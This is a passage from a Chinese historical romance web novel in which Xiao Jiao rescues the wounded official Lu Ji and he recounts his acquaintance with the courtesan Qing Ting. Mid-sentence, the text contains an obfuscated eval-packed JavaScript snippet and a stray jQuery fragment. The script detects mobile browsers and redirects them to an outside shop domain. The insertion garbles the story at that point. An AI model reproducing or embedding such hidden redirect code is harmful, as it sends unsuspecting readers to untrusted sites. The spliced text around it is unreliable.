萧娇愣了片刻,手心直冒汗。她听到身后气息绵长,有女子清亮的声音响起:“女郎,你在看什么?”
萧娇倏尔转身,身后不是采薇又是谁?
她拍了拍胸脯,因紧张脸庞发白:“吓我一跳,我还以为……”
采薇不解,萧娇指向树荫深处,压低了声音:“那里,有人。”
借着柔白月光,采薇看清了,她瞪圆了眼,瞬间变了脸色:“女郎,那人,我好像见过……”
“他是大理寺的人!”
大理寺?
萧娇再次回望,大理寺的人为何会出现在这,看样子,是和人打斗中受了伤。
“女郞,我们要救他吗,他好像还有气。”采薇颤巍巍道。
萧娇抬眼望向密林。冰月澄澈,虫蛩蛰鸣,整座山空荡荡的,并无其他动静。
难道,打伤他的人已经走了?
又等了片刻,四周还是悄寂无声,萧娇小心猫着腰,钻过杂乱灌木,慢慢挪到树下。
月光泻下一地银辉,少年脸色苍白,紧闭着眼,胸脯微微起伏。
“女郎,他果然没死!”采薇兴奋叫,话刚出口又忙捂住嘴。
萧娇点头。眼下近看,才发觉这人伤势颇重,右肩处还在不断溢出鲜血,他身上衣衫脏乱,乌墨色长衫已被血洇深了大半。
得赶紧救治才行。
萧娇动了动手,这少年虽看着清瘦,但颇有重量,她权衡了下,光靠她和采薇两人是无法将他挪到观内的。于是又对采薇道:“你去观中找几个道人,速去速来。”
采薇会意,很快离开。
萧娇抱胸站立。山间起雾了,夜露沾衣,风一刮,就有些凉。她跺跺脚,小心避到大树后。脚下忽踢到什么东西,有点软,她一愣,低头望去。
却见离她几步远的茅草丛里,斜伸出来一截人腿。方才她踩到的,正是那人的脚。
还有人?看身形,似乎是个女子。
萧娇心中狂跳,小心挪过去,拨开茅草。
风摇草茎,发出细碎窸窣声响,雾茫茫夜里,她终于看清了那人的脸。
---
陆霁醒来时,尚晕眩。他眨眨眼,头顶是一片灰墨素帐,日光落到帐帘,烫出一团耀目光斑。
他盯着光斑看,好半晌才反应过来,他想起身,奈何浑身上下都痛,右肩处更甚,他抿抿唇,吃力地喊了声。
门“吱呀”一声打开,有人捧碗进来,见他醒了,惊喜道:“施主,快别动,你身上伤口多,已包扎上药了。”
陆霁眼瞧着,说话的是个头戴黑布道巾童子,他方知晓眼下是在观内。
“……是你救了我,我身旁还有一个女子……”
道童点头:“女施主就在隔壁,她伤不重,已经醒来……救你的人不是我,你等等,我跟她说去……”
道童放下碗,得得跑出门外。
隔了半晌,门口又有动静,这次不是道童,陆霁眯了眯眼,一道娉婷身影转了进来。这人,有些熟悉……
陆霁还在辨认,那人已经开口,她面容娇美,声音清雅。
“机要史大人,又见面了。”
机要史大人?
陆霁一愣,才恍然想起什么,面色一窘,不过旋即便恢复如常。
“原来,是郡主救了我。”
他语气犹疑,虽然是陈述,但萧娇也听出了里面的不确定之意。不过,萧娇也知道她在金陵素没什么好名声,人家要质疑,也实属正常。
于是,她拉出木凳坐下,掸了掸衣衫上尘土,漫不经心道:“你认识我。”
陆霁又是一愣,心想:萧娇倒和传闻中不同。坊间流传宣城郡主娇蛮任性,空有美貌,脑中空空。但方才他短短一句,竟让她抓出了问题所在。
萧娇没理他眼神中的怪异,打了个哈欠,才道:“昨夜为救你,大半夜的,硬是将安神堂卢郎中请了来,前后忙活了半宿……”
陆霁眉尾一抬。安神堂是金陵有名的医馆,卢郎中外号庐中翁,等闲不出诊,金陵大族为找他看病,都要等上月久。方才他已检查过,身体各处包扎很好,若非医术精湛之人……
陆霁想,这是欠了一份大人情呐。
萧娇观他脸色,知他已明白了,遂开门见山:“昨夜,和你在一起的女子,是玉肌阁的酒伶,你和她,为何会出现在此?”
陆霁诧异望了眼。他原以为萧娇会提什么奇怪的要求,没想到是问这个,心想,他和青汀的来往已传遍整个金陵,本不是什么秘密,恐怕这会不知有多少人守在他家听墙角,这世间爱八卦的人多,告诉她也无妨,况且青汀久寻人不遇,若宣城郡主肯帮忙……
他低咳一声,沉默半晌后道:“她叫青汀,青汀是她的名,她本姓季,也曾是世家女郎。”
陆霁转过头,帐帘上的光斑已经散开,窗外横斜枝头颤动,影子依稀打在帐布帘上,带起光影起起伏伏,跳动的影子里,他似乎又见到第一次同青汀相遇的画面。
那日,陆霁将药王孙送回去的路上,他便注意到身旁酒伶女头上的发钗。
蜻蜓钗,令他想起隔壁房门口匆匆一瞥而又消失的竹蜻蜓。当时,他只觉奇怪,并没有疑心。
他将药王孙扶进门后,打眼看了一眼,屋内他四个手下,俱都酩酊大醉,醉眼迷蒙。陆霁放下人后,随口便说:“呀,都醉了,我还想认识几个兄弟……”
酒伶女善解人意道:“阁内备有醒酒汤,可要奴拿来?”
此语正中下怀,陆霁忙说好。待她走后,便从怀中拿出瓷瓶,依次置于几人鼻下。
少顷,酒伶女归,手端漆盘,盘中放了五碗醒酒汤,珊然走到几人面前,陆霁站在一边,冷眼旁边。他知道,等下,这几人就会醒,非但会醒,还会大吐特吐。
果然,当酒伶女喂到第三人时,那人突然睁眼,一把推开她,毫无预兆地吐了出来。紧接着,其他几人接连转醒,呕吐声不觉。
陆霁皱皱鼻,一蹦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102025|137944||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蹦出门外。房内,被推开的酒伶女倒伏于地,她头上的蜻蜓木钗摔落下来,砸成两截,衣衫上更沾了不少污秽。
陆霁摸摸鼻,知道戏还是该演下去,于是咋呼叫道:“啊,这……今日还是算了,酒改天再喝罢……”
说完这话,他便一溜烟走了。
后来,他跟闫风识说,要在玉肌阁住上一夜。一半确实不放心药王孙,怕出什么意外,另一半,他想看看那个酒伶女怎么样了。
他觉得,自己害人家被吐一身,又坏了一只木钗,还有可能被管事的骂,的确有些不厚道。
那时,他想,若管事骂她,他就出面挡下来。
没过多久,果然听到药王孙的声音,他站在门口偷看,药王孙和手下四人走出房间,个个皱着眉,骂骂咧咧下了楼。
那个酒伶女……始终没看她出来。
到了后半夜,陆霁实在没忍住,借着起夜出了门,他路过药王孙的房间,装作不经意随意一瞥。
然后,他定住。他看到,凉凉月光下,酒伶女正双膝跪地,努力擦抹着地上污渍。
陆霁站在门口,迟疑片刻,终于走进房内。
酒伶女却在这时抬起头,她看到陆霁,没有丝毫诧异,只弯起嘴角,道:“客官,这屋还未打扫完,您请暂避。”
她脸上,既没有怨责,也没有不满,月光罩满她周身,她圣洁得仿佛月中仙子。
陆霁却罕见地羞愧了。
以往,他捉弄府中下人,无论是大冬天将人踹下水,还是酷暑日让人学武蹲马步,抑或烧了童子新留的头发,他都没觉得有任何问题。但此刻,面对酒伶女清清淡淡的眼神,一种前所未有的愧疚砸向他心头。
第二日,陆霁又来到玉肌阁。这次,他手中拿着一根玉钗。钗子是他从金陵最有名的玉饰坊买的,他听卖玉饰的掌柜说,这种玉钗是当下女郞们最爱的款式,无论送给哪个小娘子,都会欢喜。
陆霁没有看到掌柜眼里的暧昧之意,他只想着,将它作为一份恕礼。送给酒伶女的恕礼。
可意外的,她并没有接受,酒伶女仿佛已知晓陆霁心中所想,她将钗子重新放到他手中,淡淡一笑:“客官所赠,太过贵重,青汀万不能受。一只木钗能助客官达其所愿,实在善矣。”
陆霁明白了,同时再次感叹,她实在是一个机敏通达的女子。
“再后来,我又去了几次玉肌阁。每次去,都让青汀为我斟酒,我和她说起曾经的顽劣,说父兄的失望,又说大理寺破案时遇到的趣事……青汀从没有不耐烦,她总是淡笑着为我斟满酒,听我一句句闲谈。慢慢地,她也会对我说起她的经历。我才得知,她来玉肌阁,并非被迫,她是为寻她阿姊而来。她阿姊名唤青沚,曾经也是玉肌阁的伶人,不过已经消失很久了。”
萧娇微微拧眉。
青沚?
听起来是个寻亲的故事。不过,既然这位叫青汀的酒伶要寻阿姊,又怎会知道阿娘,更写下那张奇怪的字条?